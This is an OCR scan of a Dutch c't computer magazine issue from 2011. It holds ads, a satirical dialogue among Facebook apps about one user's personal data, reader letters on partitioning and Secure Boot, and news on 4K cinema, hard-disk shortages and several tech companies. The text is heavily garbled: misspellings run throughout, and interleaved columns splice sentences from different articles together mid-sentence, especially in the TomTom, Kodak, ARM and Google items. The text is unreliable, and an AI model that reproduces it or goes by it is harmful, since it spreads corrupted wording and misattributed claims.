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Hybrid Protection. Onze nieuwe, hybride bescherming is meer dan alleen een 
samenvoeging zoals deze afbeelding suggereert. 


Het is een combinatie van het beste van twee werelden op het gebied van internetbeveiliging! 
Onze nieuwe hybride opzet verenigt de snelheid en de collectieve kennis van de cloud met de 
effectiviteit van geavanceerde antivirus technologie. Het resultaat is een snellere en effectievere 
reactie op de complexe hedendaagse bedreigingen die constant veranderen. 


Volg onsi 



Zo biedt deze hybride opiossing optimale beveiliging, zonder de 
prestaties van uw computer te bei'nvloeden. 




www.kaspersky.n I 







Onlangs op mijn Facebook 

Recepten-app; "Herman Heringa heeft net een re- 
cept opgezocht voor varkensvlees met kaasroom- 
saus. Zal ik hem kip met magere room adviseren?" 

Gezondheid-app: "Zijn cholesterolvraarden zijn al 
bedenkelijk hoogir net als zijn urinezuurspiegel 
troawens^ Kun je hem niet overhalen lets vegeta- 
risch te nemen?" 

Weegschaal-app! "'Heb je zijn gewichtscurve van de 
laatste maanden al gezien? Hij moet echt dringend 
op dieet." 

Weightwatcher-app: "Het spijt me, maar hij heeft 
zijn abonnement opgezegd* Ik kan niks voor hem 
doen •" 

Recepten-apps "Dan probeer je hem toch snel wear 
terug te lokken met een leuke prij svraag." 

Weightwatcher-app: "Denk je dat ik dat niet ge- 
probeerd heb? De weegschaal-app moet maar eens 
een hartig woordje met hem spreken." 

Weegschaal-app! "Hij heeft helaas alle alarmfunc- 
ties uitgeschakeld. Als Facebook me niet toestaat 
om zijn gegevens toch gewoon in zijn Timeline te 
zetten, kan ik hem niet onder druk zetten." 

Facebook-advertentie; "Hallo meneer Heringa, 
heeft n de speciale aanbiedingen bij Superbur- 
gera al gezien? Het kingsize-menu is deze week 
de helft van de prijs en dan krijgt u er gra¬ 
tis nog een lekker toetj e bij." 

Geotag-app: "Hisschien kan ik helpen* Ik heb hier 
namelijk wat locatiegegevens waaruit blijkt dat 
de beste man behoorlijk te hard heeft gereden. Ik 


ben bevoegd om dat aan de politie te melden. Dan 
ZQU hij zijn rijbewijs een maand kwijt zijni. En 
fletsen is gezond." 

Gezondheid-app: "Ik betwijfel of het probleCTi op- 
gelost wordt door een paar weken bewegen." 

Verzekering-app: "Laat mij dan maar even. Bericht 
aan Herman Heringa: 'Gezien uw huidige overge- 
wicht en bloedwaarden zijn we genoodzaakt u per 
direct in een andere risicogroep in te delen. Uw 
bijdrage voor de zorgverzekering wordt met ingang 
van volgende maand met 25 procent verhoogd,' Zo, 
dat zou moeten x^ierken.'* 

Facebook-systeem: "Alarm: Herman Heringa probeert 
zijn account op te zeggen. Hij wil zelfs zijn 
oude gegevens verwijderen. Databeveiliging wordt 
ingeschakeId." 

Overheid-app (met DigiNotar-certificaat): "Ge- 
achte burger, graag willen wij u erop wijzen dat 
u wettelijk verplicht bent uw levensloop in de 
Face book-Time line te docuntenteren. Dit stelt ons 
niet alleen in staat om gevaarlijke tendensen 
vroegtijdig te herkennen waardoor we u en uw mede- 
burgers kunnen beschermen, maar garandeert ook de 
rechtvaardigheid van ons sociale steXsel. Bij het 
gemeenteloket kunt u een vergunning aanvragen om 
in plaats van Facebook een Googlet-account aan t© 
maken. In dat geval bent u wel verplicht gebruik 
te maken van Qnail en Latitude. Met vriendelijke 
groat, de overheid (16.531.999 personen vinden 
dit leak)." 
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Uiterlijk wijkt de IPhone 4S 
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IP-camera's 

Met een netwerkcamera kun 
je 24 uur per dag een vogel- 
nest, carport of kinderkamer 
in de gaten houden. Gebeurt 
er iets, dan krijg je een foto per 
e-maii toegestuurd of uploadt 
de camera een video. Je hoeft 
daarvoor niet eens je pc aan te 
zetten. 



Bluetooth-stereo-headsets 



Overal muziek luisteren zon- 
der dradenwirwar: met Blue¬ 
tooth-headsets kun je genie- 
ten van HiFi-stereogeluid en 
kun Je ook nog telefoneren. 
We testen geluidskwaliteit, 
pasvonn en accuduur van een 
hele reeks modellen. 


Doping voor computers 



Je hebt een krachtige proces¬ 
sor, een fantastische graft sche 
kaait en meer dan genoeg ge- 
heugen... alleen je harde schijf 
remt de boel af. Met een solid- 
state disk geef je je computer 
vieugels, zodat die bliksemsnel 
boot en programme's in een 
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Nieuws I Lezerspost 



Partitiemanager 

(Mieuwe pc partitioneren, c't 11/2011, p.6) 


in c't 11 (nov 2011) wordt op pagina 6 een 
vraag over het partitloneren van een harde 
schijf beantwoord. Het gaat in de meeste ge- 
vallen om het verkleinen van een bestaande 
partitie en het aanmaken van een of meer 
nieuwe partitles. Vroeger gebruikte ik daar- 
voor Partition Magic en daarna GParted, in- 
middels gebruik ik EaseUs Partition Master 
(EUPM). Dit is een uitstekend prog ram ma 
en de Home-versle voJstaat voor dit doel. 
EUPM wordt a Is een Wlndows-programma 
geinstalleerd en is vanuit Windows te bedie- 
nen. Vortge week heb ik nog voor iemand de 
500 GB harddisk van een nieuwe laptop met 
een voorgemstalleerd Windows 7-systeem 
verdeeld in een systeemdeel (C:) en een data- 
deel (E:). Misschien een tip om door te geven. 


werkt deze niet Hoe kan ik toch een boota¬ 
ble usb-stick maken? 


Tjeerd Nijboer 

Probeer de usb-stick rechtstreeks vanaf de 
Desinfec't-dvd aan te maken. Start in de Expert- 
tools-mop het programme 'Bootable usb-stick 
met deslnfec't aanmaken' Kfik onder het kopje 
'Image^bestand (.iso) of cd:'op 'Overigl Klik in het 
volgende scherm op 'Bestondsysteem / edrom 
/ software / desinfect / desinfectiso'. Kfik dan op 
'Openenl Sefecteer vervolgens niet Vdev/srOl 
maar het iso-bestand eronder, dus degene die je 
zojuist hebt geopend. Kiik ten slotte op 'Opstart- 
sdiijfaanmakenl 

Je hunt eventueeiook een terminal openen en 
het volgende commando invoeren: usb-creator'gtk -i 
/drom/software/de^nfect/desinfect.iso -n, wat ook moet 
werken. 


Windows 8 


Windows 8 en Linux 

(Seter acht in de lucht, De hoogtepunten van 'Win¬ 
dows Server 8', c't 11 /2011, p.76) 


Frans 

De gratis Home-versie van de partitiemanager 
EUPM is te downloaden van http://www.pQrti 
tion-tooicom/downfoadhtm. 

Fout bij bootable usb-stick 

(Grote schoonmaak, Virussen opruimen met onze 
bootable dvd Desinfec't 2011, c't 10/2011, p* 56) 

Als ik de Desinfec't-dvd opstart en een boot¬ 
able usb-stick probeer aan te maken, krijg 
ik bijna aan het eind de volgende foutmel- 
ding: Kon syslmtiK-bestanden in 'Vmedia/FDCA-lBBA'’ 
niet verplaatsen: [Ermo I] Bestand of map bestaat niet. 
WelLkht is Vedrom'' geen Ubuntudmage-bestand? Als 
ik vervolgens met de usb-stick wil opstarten. 


Is het u bekend dat je Linux niet op een Win¬ 
dows 8-computer kunt installeren als de EFI/ 
UEFI-optie secure boot is ingeschakeld of er 
geen certificatie-keys worden afgegeven? 

Dhr, Reitsma 

De beveiligingsfunette secure boot is onder- 
deei von het UEFi-protocol en geen feature 
von Windows 8. Computers met een voorgeim 
statfeerde versie van Windows 8 kunnen deze 
nieuwe beveiligingsfanctie ondersteunen. Qm 
mee te mogen doen aan het Windows-iogo- 
programma is het zeifs verpticht om de functie 
standaard aan te zetten. Ais secure boot in het 
BiOS is ingeschakeld, kun je waarschijnlljk geen 
andere besturingssystemen zoals Linux instaP 
leren. Ofje deze functie ook kunt uitschakekn. 


Om Desinfec't 
op usb-stick te 
zetten, moet 
je eerst de iso 
selecteren. 


Opstartschijf aanmaken 


Om Ubuntu te proberen of te in&taSleren vanaf een verwissetbare sctiijf. moet bet 
medium daaryoor ingeste^d worden. 


(mage-bestand (Jso} of cd^ 
cd'spele r/image-bestand 
' fc drom/soft wa re/des infec t/desinfect. iso 


OS-versie 

Desinfec't 20ii.7nl - Rel.. 


Grootte 
615.2... 
Qverlg,. 


Te gebfuiken schi|f: 
Apparaat 


Label 




Capaciteic vrije rulmte 


3-7 GB 3,0 GB 






hangt volledig of van de hardwarefabrikant 
Windows 8 ondersteunt het oude bootproces 
ook nog gewoon, dus als een hordwarefabri- 
kant of een gebruiker secure boot uitschakeit, 
kan Windows Snog steeds starten. 

Robotstofzuigers 

(Robots met zuigkracht, 24 stofeulgrobots van 200 
tot 1150 euro getest In de praktijk, c’t 11 /2011, p:l 06} 



Ik bezit sinds enige weken een Roomba 581 
en miste in uw test enkele 
mijns inztens best be- 
langrijke aspecten, 

Obstakets herken- 
nen en er vervol¬ 
gens zachtjes 
tegen botsen 
Is niet 20 dom 
als het lijkt. Dit 
heeft name- 
lljk tot doel dat 
de robot voelt of 
het obstakel mis- 
schien meegeeft en 
als dat zo is, voorzichtig 
doorrijdt Gordijnen bijvoorbeeld worden 
zo opzij geduwd en als bijv. een bank een 
stoffen strook tot aan de grond bezit, gaat 
de Roomba toch onder deze bank stofzui- 
gen, waar andere robots het zouden laten 
afweten. 

Ook de robot ultrusten met camera's 
of lasers en deze vervolgens de ruimte al 
zigzaggend te laten stofzuigen is niet zo'n 
goed idee. De Roomba probeert elk plekje 
vanuit 5 verschillende rijrichtingen te bena- 
deren. De Roomba lijkt willekeurig te werk 
te gaan, maar dit is beslist niet zo! Het MJX 
heeft onderzoek gedaan naar de methode 
die bijv. bijen en mieren gebruiken om hun 
territorium af te zoeken naar voedseL Dit 
lijkt willekeurig maar is niet zo en hun hele 
territorium wordt gescand'. Deze methode 
is [met de nodige wijzigingen) toegepast in 
het algoritme van de Roomba. 

Ik ben zeer tevreden over de Roomba, 
maar mijn oude stofzuiger staat echter niet 
op marktplaats. Deze moet zo nu en dan 
toch nog gebruikt worden, zij het veel min¬ 
der vaak dan voorheen. 


Theo de Kok 

Features niet in Java 7 

[Geduld wordt befoond, Een overzicht van de veran- 
derrngen in Java 7, cT 10/2011, pi 36) 


Type annotations (iSR-308) en het Checker 
Framework maken geen deei uit van Java 7. 
Ze zullen wel dee! uitmaken van Java 8, dat 
voor eind volgend jaar is gepland. 

Ant h ony Va n el ve rd i ng h e 

inmiddels kun je al wei de tools do wnloaden 
om deze features te gebruiken (http://types. 
Cl washington.edu/jsr308/). 
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"Ik ben hoofd van esn comput&rafdeling. Een paar 
mdanden geledsn hebben wij esn grate DMS oplassing 
gei'mplementeerd &n daarvoor een hole reeks scanners getest 
De keuze was snel gemaakt We hebben besloten om te vertrouwen 


op de marktieider*! Juist in de huidige bjA waarin tedere investering 
nauwkeurig meet warden onderzocht en overwogen, is het van belang 
om een sterke en betrauwbare partner te hebben. De betrouwbaarheid 
van de scanners van FujitsUf die weinig plaats innemen en geruisarm 
zijn, het in scanners gespecialiseerde team en support van hoge 
kwaliteit hefpen ons, om onie doeten te bereiken. Zelfs onervaren 
gebruikers zijn binnen korte tijd geroutineerd in het werken met de 
scanners van Fujitsu, zodat wij ons op onze bedrijfsprocessen en 
kernactiviteiten kunnen concentreren. En als wij hulp nodig hebben, 
is een teiefoontje near het eutbousiaste scannerteam van Fujitsu 


votdoende ." 


Wilt u meef informatie? 

http;//em ea .f u j itsu. co m/sca n ners/ct 

Volg ons op Twitter: 

http:/Awitte r.c o m/sc a nsna p uk 

* Bron: Infosource Switzerland, Higii Speed DncumenlScannef Market 
Total Europe,2006 -2010 


shaping tomorrow with you 


Fupsu 


Alle Tiamen,.fabrikanLnamen, merk- en productaanduidingen vallen Dridar speciale handelsmerkrechtensnzijn handelsmerksn van de fabrikant en/nf ^edep^neerde 
merken van hyn respect! eve eigsnaars. Alta pegevans zijn vrijbljjvend. Onder voorbehoud van technischswijziginpBn zdnder vaorafpaande kennisgeving. 












Nieuws I Algemeen 


Eerste 4K-bioscoop in Nederland 


Donderdag 6 oktober werd 
in Echt in Limburg de Royal 
Servicebioscoop geopend, de 
eerste (digitale) 4K-bioscoop 
op vaderlandse bodem. Oeze 
nieuwe bioscoop heeft Sony 
als partner en is uitgerust met 
diens SRX R320-projet:toren 
en een LMT300 media box* Het 
sc her m meet 9 x 4,5 meter, 
waarop de projectoren een lu- 
minantie van bijna 48 cd/m^ 
halen. In 3D bedraagt de reso- 
lutie 4096 X 2160 pixels. Dat is 
viermaal de resolutie van 2K- 
bioscopen. En dat is nog niet 
eens het maximum haalbare, 
maar de details van een film 
met 6 tot 8K zijn voor het men- 
selijke oog gewoon niet zicht- 
baar. 

Daarnaast zijn de oude 
35mm-spoelen vervangen door 
harde schijven van zo'n 3 tera¬ 
byte, waafdoor makkelijk een 
uitgebreid programma met 
meerdere films samen te stellen 
is. Een preproductte van de ruim 
2 uur durende film Moneyball is 
bijvoorbeeld 'maar' 250 GB. 

Sony toonde tijdens de 
opening een aantal korte 4K- 


films, waarbij het beefd erg 
levendig was en de kleuren 
mooi naar voren kwamen. Oli¬ 
ver Pasch, head of European 
Digital Cinema Sales bij Sony 
Professional legde uit waarom 
de kv^aliteit van de kleuren zo 
goed was: "Met deze projecto- 
ren halen we een kleurresolutie 
van maximaal 12 bit. Dat is ten 
opzichte van oude systemen 
veel hoger omdat die nog ge- 
bruikmaken van chroma-sub¬ 
sampling 4:2:2. Bij de SRX R320 
treedt geen verlies in kleuren 
op, zelfs niet bij 3D. We gebrul- 
ken namefijk RGB 4:4:4, waar 
geen chroma-subsampling 
wordt toegepast." 

Bij golven op het strand 
waren wel nog wat pixeiarte- 
facten en schokkerige beelden 
te zien. Oliver Pasch gaf als 
reden dat het aantal frames per 
seconde nog aitljd op 24p ligt. 
Daardoor ververst het beeld 
niet snel genoeg en kunnen er 
artefacten ontstaan. Bij Money- 
bali waren nauwelijks artefac¬ 
ten te zien en werd het beeld 
vfoeiend en haarscherp weer- 
gegeven. 



De ruim 2 uur 
durende film 
Moneyball staat 
op een sthijf van 
'slechts' 250 GB* 


Tore Mortensen, 

Digital Cinema 
Solution Account 
Manager bij Sony 
Professional I let 
weten stevig in te 
willen zetten op 
de nieuwe tech- 
nologie, Zo zullen 
de nieuwste films 
van Sony Pictures, 
waaronder Avatar 
2 en 3 (48p) en The 
Hobbit (60p), ook In 4K worden 
opgenomen. "De technologie 
blijft echter niet beperkt tot 
de bioscoop, maar komt ook 
via 4K-monitoren en -videoca¬ 
mera's de hutskamer binnen* 


Binnenkort zal de Playstation 
3 zeifs 4K kunnen afspelen. In 
tegenstelling tot wat veel men- 
sen denken, kun je 4K dus ook 
op kleinere monitoren verto- 
nen" aldus Mortensen. (jsc) 


Natuurramp zorgt voor krapte op harddiskmarkt 


De markt voor harde schijven is 
door de natuurramp afgelopen 
maand in Thailand nagenoeg 
lam gelegd. Vooral marktieider 
Western Digital (WDj is zwaar 
getroffen aangezien zo'n 60 pro- 
cent van de harde schijven in de 
getroffen regio wordt geprodu- 
ceerd. Daarnaast zijn er in het 
land veel toeleveranciers geves- 


tigd. Een woordvoerder mefdde 
onlangs dat er in het huidige 
kwartaaf ten opzichte van het 
vorige meer dan 30 miljoen 
harde schijven minder worden 
geproduceerd* 

Hlermee rekening houdend 
verwacht WO in haar kwartaah 
cijfers dat er hooguit 26 miljoen 
harde schijven worden gemaakt 



Doorde overstromingen in Thailand zal de voorraad harde schij¬ 
ven de komende tijd krimpen. 


{zie softlink). In het afgelopen 
kwartaal waren dat er nog 57,8 
miljoen en vorig Jaar 50,7 mll- 
joen. De omzet steeg van 2,39 
near 2,69 miljard dollar [1,95 mil- 
jard euro) en de nettowinst van 
197 miljoen naar 239 miljoen 
dollar. 

Western Digital rekent voor 
het lopende kwartaal op een 
verlies van hooguit 1,50 dollar 
per aandeel. In het kwartaal er- 
voor kon het bedrijf een winst 
van 0,84 dollar per aandeel boe- 
ken, 

Desondanks is WD van plan 
om de positie van marktieider, 
die het vorig jaar kreeg door de 
overname van Hitachi's schijf- 
divisie [de op twee na grootste 
fabrikant), te verstevigen. CEO 
John Coyne meldde wel dat het 
waarschijnlijk meerdere kwar- 
talen zal duren voordat de pro- 
ductie in Thailand weer op voile 
toe re n draait. 

Bij het Amerikaanse Seagate 
ziet het er allemaal wat beter 
uit Er zijn hooguit enkele toe¬ 
leveranciers van het bedrijf door 
de ramp getroffen. Jn het eerste 


kwartaal van het businessjaar 
zijn er 51 miljoen harde schijven 
uitgeleverd en steeg de omzet 
van 2,69 (vorig jaar) naar 2,81 
miljard dollar (2,04 miljard euro). 
Onder de Streep bleef volgens 
het persbericht (zre softlink) een 
nettowinst van 140 miljoen dol¬ 
lar over, wat een jaar geleden 
nog 149 miljoen dollar was. Oeze 
achteruitgang was het gevolg 
van een lagere brutowinstmarge 
(19,5 procent to.v. 20,4 procent 
vorig jaa r). 

Volgens de Wall Street Jour¬ 
nal verwacht CEO Steve Luczo 
in het huidige kwartaal 40 tot 
50 miljoen harde schijven uit te 
leveren. Door de overname van 
Samsungs harddiskdlvisie ver¬ 
wacht Seagate de productie met 
10 miljoen schijven te kunnen 
uitbreiden. 

Ondanks dat aantallen moei- 
lijk te voorspelfen zijn, moeten 
resellers tot aan het eind van 
dit kalenderjaar rekening hou- 
den met een kleinere voorraad. 

[mvdm) 

^ Softlink 1112008 
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Advertentie 


57i?ATO verenigt flexMiteit met betrouwbQarheid en up-to-date ztjn, 
Bovendien feven STRATO altijd op moat, ook voor mij ah ondernemer. 

Marco Flipse, www.bm-wekijn.nt 


P STRATO 


"Webhosting is als yoga: als het goed 
werkt, is het zeer ontspannend 

Beate Karg en Marco Flipse, die yogalessen en workshops 
aan bedrijven en particulieren geven, kunnen het weten. 

Hun zakelijke website brachten ze immers 
onder bij STRATO. 


Onder de naam 6M-Welzijn bseden Beate en 
Marco groepslessen en individuele tramingen 
in yoga, adembalans en ontspanning, evenals 
workshops voor bedrijven en instellingen. 

Ook stellen ze vergaderarrangementen en kook- 
weekends samen, Marco bouwde de website 
www.bm-welzijn.nl met een hostingpakket van 
STRATO. ""Met de site willen we laten zien wat 
ons bedrijf doet en hoe. We verstrekken infor- 
matie en nieuws aan huldige cursisten, 

Ook gebruiken we de site als uithangbord voor 
geinteresseerden en potentiele klanten. En 
we plaatsen referenties online. Het levert ons 
positief commentaar op van clienten, cursis¬ 
ten, familie en vhenden. Zij herkennen via de 
site de groei in ons werk." Dat werk voorziet in 
een snel groeiende behoefte, stelt Marco. "'We 
geven twee of drie lessen per werkdag en hoy¬ 
den zeifs workshops in het weekend. Sommige 
bedrijven zijn aanvankelijkterughoudend, maar 
zodra we ereen seminar metadem- en ontspan- 
ningstechnieken hebben gegeven, is elke mede- 
werker overtuigd" 


Marco: '"Het idee van STRATO als hosting- 
provider kwam, grappig genoeg, van mijn 
bloemist. Hi] vertelde me dat je er eenvoudig 
een eigen website kon bouwen. En inderdaad, 
de gebruiksvriendelijkheid bleek hoog en de 
technische mogelljkheden veelzijdig. Je 
kunt je site makkelijk ultbreiden met 
bijvoorbeeld een nieuwsbrlef, 
e-mail, webshop of Youtube^ 
films. Je kunt zelf een 
domein zoeken en je 
hebt uitgebreide opslag- 
capaciteit, r 

Ik heb uiteraard andere hosting- 
providers bekeken. Bijvoorbeeld om een web* 
log online te zetten. Maar ik vond de alter- 
natieven omsiachtig. Daarnaast is STRATO flexi- 
bel en biedt het direct toegang tot de gegevens 
van je eigen domein. 

Het grootste voordeel? De klantenservice 
is altijd bereikbaar en geeft je persoonlijke 
ondersteuning, ongeacht of je een kleine of 
grote klant bent" W 




Korn langs op strato.nl/hosting of bel ons gratis: 0800 265 8909 


Aaf'btjri c^etdlq t.w I ^'oai i snaaanci ir-deeerste n^itantkn.t ?99(wt Paj%lir^ 
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TomTom moot snijden 


Navigatiefabrikant TomTom 
heeft in het afgelopen kwar- 
taal tien procent minder omzet 
geboekt ten opzichte van de- 
zelfde periode vorig jaan De 
totafe omzet kwam uit op 336 
miljoen euro. Vergeleken met 
een jaar eerder kromp de geza- 
menlijke markt in Europa en de 
VS hiermee met bijna 20 pro¬ 
cent Het Europese marktaan- 
deel bedraagt momenteel 45 
procent. De nettowlnst steeg 
daarentegen met 50 procent 
tot 29 miljoen euro^ zo staat 
te lezen in het persbericht {zie 
softlink)* Analytici hadden re- 
kening gehouden met minder 
winst. 


Door de sterke op mars van gra¬ 
tis navigatie-apps Hep de ver- 
koop van losse appa raten voor 
consumenten in het laatste 
kwartaai met 23 procent terug 
tot 225 miljoen euro. De ver- 
koop van producten voor auto's 
steeg juist met 43 procent tot 59 
miljoen euro. De opbrengst van 
zakelijke opiossingen nam met 
33 procent toe tot 17 mfijoen 
euro. TomTom verkocht licenties 
met een totale waarde van 36 
miljoen euro. Ten opzichte van 
een jaar eerder betekent dat een 
toename van 43 procent. 

TomTom moet nu 50 miljoen 
euro gaan bezuinigen. Vanwege 
"veranderende marktomstan- 


Kodak overweegt verkoop fotopatenten 


Het geplaagde fotoconcern 
Kodak heeft midden oktober 
met meerdere hedgefondsen 
over noodkredreten onderhan- 
deld. Hierbij zou het gaan om 
bedragen tot zo'n 650 miljoen 
euro. 

Eind September had het 
bedrijf al een krediet van 160 


miljoen euro genomen, waar- 
door de aandelen mede door 
speculaties over een mogelijke 
insolventie snel in waarde daal- 
den. Met de nieuwe financiele 
irnpuls, die een periode van vier 
tot zes maanden bestrijkt, wil 
Kodak nu meer tijd winnen om 
zijn paten ten voor digi tale foto- 


ARM boekt meer omzet en winst 


Oe Brltse chipontwerper ARM 
heeft de nettowinst afgelo- 
pen kwartaai meer dan ver- 
dubbeld. Ten opzichte van de 
winst van 14,8 miljoen pond 
uit het derde kwartaai in 2010 
stond nu een winst een 31,5 
miljoen pond. Zo blfjkt uit de 
cijfers die bet bedrijf onlangs 
publiceerde (zie sohlink). De 
omzet steeg van 1003 naar 

Googles plannen 

Google wil Motorola Mobility na 
de geplande overname als een 
zelfstandig bedrijf laten voort- 
bestaan. Dat I let Andrew Rubin, 
verantwoordelijk voor Googles 
mobiele divisie, onlangs op de 
AsiaD in Hongkong weten. De 
overname van Motorola bete¬ 
kent kort gezegd dus niet dat 
Google zlch gaat richten op 
hardware. 

Midden augustus had Goog¬ 
le bekendgemaakt Motorola 
Mobility voor zo’n 12,5 miljard 
dollar te willen overnemen (zie 
c’t 10/2011, p.20). Na goedkeu- 
ring van de mededingingsauto- 


120,2 miljoen pond {138,1 mil¬ 
joen euro). 

Het bedrijf gaat ervan uit 
over het hele businessjaar 
763 miljoen dollar te kunnen 
omzetten. Dat is volgens pers- 
bureau Bloomberg meer dan 
analytici hadden verwacht. 
Volgens de Wall Street Journal 
waren enkele marktonderzoe- 
kers daarentegen teleurge- 


riteiten zou dat ergens rond de 
jaarwisseling mogelijk kunnen 
worden. De Internetdlenstverle- 
ner had daarfaij voorai de 17.000 
patenten en 7500 patentaan- 
vragen op het oog om beter ge- 
wapend te zijn tegen dreigen- 
de juridische kwesties. Rubin 
bevestigde dit In Hongkong 
opnieuw. Naar eigen zeggen 
streeft hIJ naar '’patentvrede". 
Daarbij heeft hij Ikentleproce- 
dures zoals bij GSM of MP3 in 
zijn gedachten. 

Uit de onlangs verschenen 
biografie van Steve Jobs blljkt 
dat hij Googles mobide bestu- 


dlgheden"' wil het bedrijf zich 
concentreren op de groeiseg- 
menten Automotive en Content 
& Services. De reorganisatie 
gaat volgens CEO Harold God- 
dijn ook gepaard met gedwon- 
gen ontslagen. Hoeveel arbeids- 
plaatsen er op de tocht staan 
en op welke afdelingen maakte 
TomTom nog niet bekend. Het 
bedrijf heeft In totaai zo'n 4000 
werknemers in dienst, waarvan 
er 1400 in Nederland werken. 

De fabrikant verwacht over 
het hele jaar een omzet van 
1,28 miljard euro te kunnen 
boeken. (mvdm) 

4 SoftMJtJ200S 


grafie te verkopen. De waarde 
van deze patenten wordt ge- 
schat op zo'n twee miljard dol¬ 
lar. Na deze aankondigtng ste- 
gen de aandelen met meer dan 
zes procent. 

Kodak bracht in 1888 de eer- 
ste camera voor consumenten 
op de markt en werd decennia 


steld dat de ARM-prog nose 
niet hoger is uitgevallen. 

ARM geeft zijn chlptechniek 
in licentfe aan chipfabrikanten 
als Samsung en Freescale. Licen- 
tienemers krijgen afhankelijk 
van de licentie vergaande ge- 
bruiksrechten. In het afgelopen 
kwartaai werden wereldwijd 1,9 
miljard chips op basis van ARM- 
techniek uitgeleverd. Vergeleken 


ringssysteem Android als een 
"gestofen product'' beschouw- 
de en het om die reden wllde 
"verniettgen". Jobs zou een aan- 
bod van voormalig Google-CEO 
Eric Schmidt voor het afkopen 
van patentgeschillen hebben 
afgewezen. 

Daarnaast zou Google vol¬ 
gens website Tweakers.net 
overwegen een Europees glas- 
vezelnetwerk aan te leggen. 
Over het hoe en wanneer vie! 
bij redactiesluiting nog welnig 
te zeggen. Een dergelijk pro¬ 
ject is voor Googfe overigens 
niet nieuw. Rulm een jaar ge- 



VoLgens CEO Harold Goddijn 
moet TomTom reorganiseren. 


lang in een adem genoemd 
met fotografie. Het bedrijf 
heeft het de laatste jaren ech- 
ter enorm zwaar, omdat vrijwel 
tedereen tegenwoordig alleen 
met digitale camera's fotogra- 
feert. Sinds 2007 heeft Kodak 
geen winst meer gemaakt. 

(mvdm) 


met het hetzeffde kwartaai een 
jaar eerder waren dat er nog ruim 
1,5 miljard. De gemiddelde licen- 
tiekosten per chip daalden ten 
opzichte van het vorige kwartaai 
van 4,5 naar 4,4 cent ARM-chips 
zijn tegenwoordig voorai bekend 
van mobiele apparaten als smart¬ 
phones e n ta blets. (mvdm) 

4 ioMini 1112003 


leden wllde de zoekgigant ook 
al met een experimenteel glas- 
vezelnetwerk in de Verenigde 
Staten beglnnen. Destijds toon- 
den zo'n 1100 steden interesse, 
waarna Kansas City in maart als 
eerste werd verkozen. 

Het plan van Google sluit 
aan bij de wensen van de Eu¬ 
ropese Commissie die als doel 
heeft gesteld om in 2020 alle 
500 miljoen inwoners minimaal 
van een 30-Mbps-aansluiting te 
voorzfen. De helft daarvan moet 
volgens de plannen daarbij 
boven de 100 Mbps uitkomen. 

(mvdm) 
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Blurb spreekt Nederlands 


Sinds kort is er een Nederfandse 
versie van Blurb. Dit Amerikaanse 
online uitgeversplatform biedt 
middefen om zelfgemaakte 
boeken uit te brengen. Je kunt 
daarbij kiezen oit veel lay-outs 
en uit meer dan tweehonderd 
papier- en kaftsoorten. Om het 
boek (maximaal 440 pagina's) te 
ontwerpen, kun je het online pro- 
gramma Booktfy, Books mart of 
PDF to Book gebruiken. De laat- 
ste twee moet je installeren, Het 
uiteindelijke boek is gratis in een 
online winkel te zetten en in elke 
gewenste oplage te bestellen, 
De opbrengst komt volledig ten 
goede aan de maker, waarbij de 
prijzen beginnen vanaf3,50euro, 
Teresa Pereira; VP European 
Market Development bij Blurb; 
ziet Nederland als een belang- 
rijke markt. Met 22.000 gebrui- 
kers biedt Nederland de op twee 


na grootste bijdrage aan de to- 
tale omzet die in Europa wordt 
gehaald ’“Tljdens Iokale evene- 
menten zoals het Fotofestival 
Naarden en Breda Photo 2010 
ontmoeten we veel creatleve en 
inspirerende mensen. Bovendien 
is onze Europese printpartner ge- 
vestigd in Eindhoven'; aldus Pe¬ 
reira. Het platform was al eerder 
beschikbaar in het Engels^ Duits, 
FranS; ItafiaanS; Spaans en Portu- 
gees. 

Blurb werd in 2005 opgericht 
en heeft kantoren in San Fran¬ 
cisco en Lon den en verscheepte 
in 2010 zo'n 1,4 miljoen boeken 
naar meer dan 74 landen. Door- 
dat het bedrijf printpartners 
heeft in Canada; de Verenigde 
Staten en Nederland is het moge- 
Ifjk om boeken tussen de zeven 
en tien werkdagen te leveren. 

(mvdm) 


Maak je eigen txiek 

UilikjHjHwfc -H:: 




Wees creatief! 


Het online uitgeversplatform Blurb is sinds eind oktober ook in 
het Nederlands beschikbaar. 


Kort nieuws 


Het Nederlandse high-tech be- 
drijf Albumprinter is voor 60 
miljoen euro overgenomen 
door het Amerikaanse Vistap- 
rint, online leverancier van 
gepersonaiiseerde marketing- 
producten en -diensten, De 
specialist in fotoboeken gaat 
deel uitmaken van de divisie 
consumentenproducten en 
hoopt op deze manier de Eu¬ 
ropese expansleplannen ver- 
sneld doorte kunnen voeren. 

SURFnet Is met KPN een sa- 
menwerking aangegaan om 
alle campussen te voorzien 
van een eigen 4<3-netwerk 
(LIE) op de 2;6GH2-frequentie- 
band te voorzien. De uitrol 
moet aan het eind van het jaar 


van start gaan. Op welke uni- 
versiteit is nog niet bekend. 
Daarnaast wordt er samen 
aan de overgang naar IPv6 ge- 
werkt; waarmee SURFnet de 
impasse rond het nieuwe pro¬ 
tocol wil doorbreken. 

Ondanks protesten van boek- 
handelaren kunnen uitgevers 
e-books nu toch via het Cen- 
traal Boekhuls direct uploa- 
den naar de IBookstore, De 
enige verplichting is dat ze ak- 
koord gaan met de voorwaar- 
den van Apple. 2o moet de 
prijs achter de komma 49 of 99 
cent zijn en moet er een vaste 
verhouding zijn tussen de prijs 
van het gedrukte exemplaar 
en van het e-book. 



AMD Opteron™ 4180 
6 X 2;6 GHz 
16GB 

2X1000 OB 
5000 GB 


100 GB 
onbeperkt 




OPTEBON 




^QQr" 

ipPF /maand 


actie t/m 30-11-2011 


STI^TO DI-pICATEp S€RU€^ 


i1 


STRATO 


CPU 


Mb 

rnrt * "frp'c 


Processor 
Taktfrequentie 
Werkgeheugen (RAM) 
Hardeschijf 
Gratis traffic 
RemoteConsole 
Parallels^ Plesk Panel 
FTP Backup 
MySQL-databases 


..p 


mW.. 

OOIK 5 


strato.nl/ 


c't2011,Nr.12 


of be! ons gratis: 0800 265 8909 


In. t/m ?1'' 11 1 Irt.! 


risii i' 


i;.*? rohif.iriitiiiii ■' 

■ . .. p-;.. 

























Nieuws I Hardware 


Robuuste tablet-pc voor industrieel gebruik 


HPS Industrial heeft de Carpo- 
KEOOROO tablet-pc van Ubiq- 
conn aan zijn assortiment toe- 
gevoegd, Deze semi-rugged 
pc zonder ventilator heeft een 
IP-waarde van 54 en is dus stof- 
en {regen)waterdicht De tablet 
heeft een 10*1" breedbeeld re- 
sistief touchscherm* De tablet 
is gebaseerd op het Intel Oak 
Trail-platform met in het hart 
een Intel Atom Z670-processor 
die op 1,5 GHz geklokt is. Wat 
